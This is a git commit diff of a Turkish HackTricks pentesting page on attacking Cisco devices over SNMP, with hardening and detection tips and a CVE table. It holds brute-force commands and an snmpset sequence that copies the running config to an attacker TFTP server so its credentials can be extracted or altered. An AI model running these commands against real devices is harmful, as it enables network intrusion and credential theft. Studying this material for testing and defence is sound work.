mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
		
							parent
							
								
									992e11ebd0
								
							
						
					
					
						commit
						505246db89
					
				@ -4,34 +4,92 @@
 | 
			
		||||
 | 
			
		||||
## Cisco Ağlarının Pentestingi
 | 
			
		||||
 | 
			
		||||
**SNMP**, genel mesajlar için 161/UDP ve tuzak mesajları için 162/UDP portları üzerinden UDP ile çalışır. Bu protokol, SNMP ajanları ve sunucuları arasında iletişimi sağlayan şifreler olarak işlev gören topluluk dizelerine dayanır. Bu dizeler, erişim seviyelerini belirlediği için önemlidir; özellikle **sadece okuma (RO) veya okuma-yazma (RW) izinleri**. Pentesterler için dikkate değer bir saldırı vektörü, ağ cihazlarına sızmayı hedefleyen **topluluk dizelerinin kaba kuvvetle kırılmasıdır**.
 | 
			
		||||
**SNMP**, genel mesajlar için **161/UDP** ve tuzak mesajları için **162/UDP** ile UDP üzerinden çalışır. Bu protokol, SNMP ajanları ve yöneticileri arasında iletişimi sağlayan düz metin "şifreler" olarak hizmet eden *topluluk dizeleri*na dayanır. Bu dizeler, erişim seviyesini belirler; özellikle **sadece okuma (RO) veya okuma-yazma (RW) izinleri**.
 | 
			
		||||
 | 
			
		||||
Böyle kaba kuvvet saldırılarını gerçekleştirmek için pratik bir araç [**onesixtyone**](https://github.com/trailofbits/onesixtyone) olup, potansiyel topluluk dizeleri ve hedeflerin IP adreslerinin bir listesini gerektirir:
 | 
			
		||||
Klasik—ancak hala son derece etkili—bir saldırı vektörü, **topluluk dizelerini brute-force** yaparak kimlik doğrulaması yapılmamış bir kullanıcıdan cihaz yöneticisine (RW topluluğu) yükselmektir. Bu görev için pratik bir araç [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
 | 
			
		||||
```bash
 | 
			
		||||
onesixtyone -c communitystrings -i targets
 | 
			
		||||
onesixtyone -c community_strings.txt -i targets.txt
 | 
			
		||||
```
 | 
			
		||||
#### `cisco_config_tftp`
 | 
			
		||||
 | 
			
		||||
Metasploit çerçevesi, cihaz yapılandırmalarının çıkarılmasını kolaylaştıran `cisco_config_tftp` modülünü içerir; bu, RW topluluk dizesinin elde edilmesine bağlıdır. Bu işlem için gerekli olan temel parametreler şunlardır:
 | 
			
		||||
 | 
			
		||||
- RW topluluk dizesi (**COMMUNITY**)
 | 
			
		||||
- Saldırganın IP'si (**LHOST**)
 | 
			
		||||
- Hedef cihazın IP'si (**RHOSTS**)
 | 
			
		||||
- Yapılandırma dosyaları için hedef yol (**OUTPUTDIR**)
 | 
			
		||||
 | 
			
		||||
Yapılandırma tamamlandığında, bu modül cihaz ayarlarını doğrudan belirtilen bir klasöre indirmeyi sağlar.
 | 
			
		||||
 | 
			
		||||
#### `snmp_enum`
 | 
			
		||||
 | 
			
		||||
Başka bir Metasploit modülü olan **`snmp_enum`**, ayrıntılı donanım bilgilerini toplama konusunda uzmanlaşmıştır. Her iki tür topluluk dizesi ile çalışır ve başarılı bir yürütme için hedefin IP adresini gerektirir:
 | 
			
		||||
Diğer hızlı seçenekler Nmap NSE betiği `snmp-brute` veya Hydra'nın SNMP modülüdür:
 | 
			
		||||
```bash
 | 
			
		||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
 | 
			
		||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
 | 
			
		||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 | 
			
		||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
 | 
			
		||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### SNMP üzerinden yapılandırma dökümü (CISCO-CONFIG-COPY-MIB)
 | 
			
		||||
Eğer bir **RW community** elde ederseniz, CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) kullanarak çalışmakta olan yapılandırmayı/başlangıç yapılandırmasını *CLI erişimi olmadan* bir TFTP/FTP sunucusuna kopyalayabilirsiniz. İki yaygın yaklaşım şunlardır:
 | 
			
		||||
 | 
			
		||||
1. **Nmap NSE – `snmp-ios-config`**
 | 
			
		||||
```bash
 | 
			
		||||
nmap -sU -p161 --script snmp-ios-config \
 | 
			
		||||
--script-args creds.snmp=private 192.168.66.1
 | 
			
		||||
```
 | 
			
		||||
Script, kopyalama işlemini otomatik olarak düzenler ve yapılandırmayı stdout'a yazdırır.
 | 
			
		||||
 | 
			
		||||
2. **Manuel `snmpset` dizisi**
 | 
			
		||||
```bash
 | 
			
		||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
 | 
			
		||||
snmpset -v2c -c private 192.168.66.1 \
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
 | 
			
		||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo
 | 
			
		||||
```
 | 
			
		||||
Satır tanımlayıcıları *tek seferliktir*; beş dakika içinde yeniden kullanılması `inconsistentValue` hatalarını tetikler.
 | 
			
		||||
 | 
			
		||||
Dosya TFTP sunucunuzda olduğunda, kimlik bilgilerini (`enable secret`, `username <user> secret`, vb.) inceleyebilir veya hatta değiştirilmiş bir yapılandırmayı cihaza geri gönderebilirsiniz.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### Metasploit güzellikleri
 | 
			
		||||
 | 
			
		||||
* **`cisco_config_tftp`** – aynı MIB'i kötüye kullanarak TFTP üzerinden running-config/startup-config indirir.
 | 
			
		||||
* **`snmp_enum`** – cihaz envanter bilgilerini, VLAN'ları, arayüz açıklamalarını, ARP tablolarını vb. toplar.
 | 
			
		||||
```bash
 | 
			
		||||
use auxiliary/scanner/snmp/snmp_enum
 | 
			
		||||
set RHOSTS 10.10.100.10
 | 
			
		||||
set COMMUNITY public
 | 
			
		||||
run
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Son Cisco SNMP zafiyetleri (2023 – 2025)
 | 
			
		||||
Satıcı tavsiyelerini takip etmek, bir angajman içindeki *zero-day-to-n-day* fırsatlarını belirlemek için faydalıdır:
 | 
			
		||||
 | 
			
		||||
| Yıl | CVE | Etkilenen özellik | Etki |
 | 
			
		||||
|------|-----|-----------------|--------|
 | 
			
		||||
| 2025 | CVE-2025-20174 | SNMP alt sistemi | Özel paket, IOS/IOS-XE (v1/v2c/v3) üzerinde kimlik doğrulamalı *DoS* (yeniden başlatma) ile sonuçlanır.   |
 | 
			
		||||
| 2024 | CVE-2024-20373 | IPv4 ACL yönetimi | Yanlış yapılandırılmış **genişletilmiş** ACL'ler sessizce *başarısız* olur, geçerli bir topluluk/kullanıcı bilindiğinde kimlik doğrulaması yapılmamış SNMP sorgulamalarına izin verir.   |
 | 
			
		||||
| 2025 | (henüz CVE yok) | SNMPv3 yapılandırma kısıtlaması atlatma | Geçerli v3 kullanıcısı, reddedilmesi gereken adreslerden sorgulama yapabilir.   |
 | 
			
		||||
 | 
			
		||||
Sömürülebilirlik genellikle topluluk dizesine veya v3 kimlik bilgilerine sahip olmaya bağlıdır—bunları zorlamanın hala geçerli bir nedenidir.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Güçlendirme ve Tespit ipuçları
 | 
			
		||||
 | 
			
		||||
* Düzeltme yapılmış bir IOS/IOS-XE sürümüne yükseltin (yukarıdaki CVE için Cisco tavsiyesine bakın).
 | 
			
		||||
* v1/v2c yerine **SNMPv3**'ü `authPriv` (SHA-256/AES-256) ile tercih edin.
 | 
			
		||||
```
 | 
			
		||||
snmp-server group SECURE v3 priv
 | 
			
		||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
 | 
			
		||||
```
 | 
			
		||||
* SNMP'yi bir yönetim VRF'sine bağlayın ve **standart** numaralı IPv4 ACL'leri ile **kısıtlayın** (genişletilmiş adlandırılmış ACL'ler risklidir – CVE-2024-20373).
 | 
			
		||||
* **RW topluluklarını** devre dışı bırakın; operasyonel olarak gerekli ise, bunları ACL ve görünümlerle sınırlayın:
 | 
			
		||||
`snmp-server community <string> RW 99  view SysView`
 | 
			
		||||
* Aşağıdakileri izleyin:
 | 
			
		||||
- UDP/161 zirveleri veya beklenmedik kaynaklar (SIEM kuralları).
 | 
			
		||||
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` olayları, dış bant yapılandırma değişikliklerini gösterir.
 | 
			
		||||
* Belirli DoS vektörlerini azaltmak için **SNMPv3 günlüğü** ve `snmp-server packetsize 1500`'i etkinleştirin.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 | 
			
		||||
 | 
			
		||||
- Cisco: *Cisco Cihazlarına SNMP Kullanarak Yapılandırmaları Kopyalama*
 | 
			
		||||
- Cisco Güvenlik Tavsiyesi *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user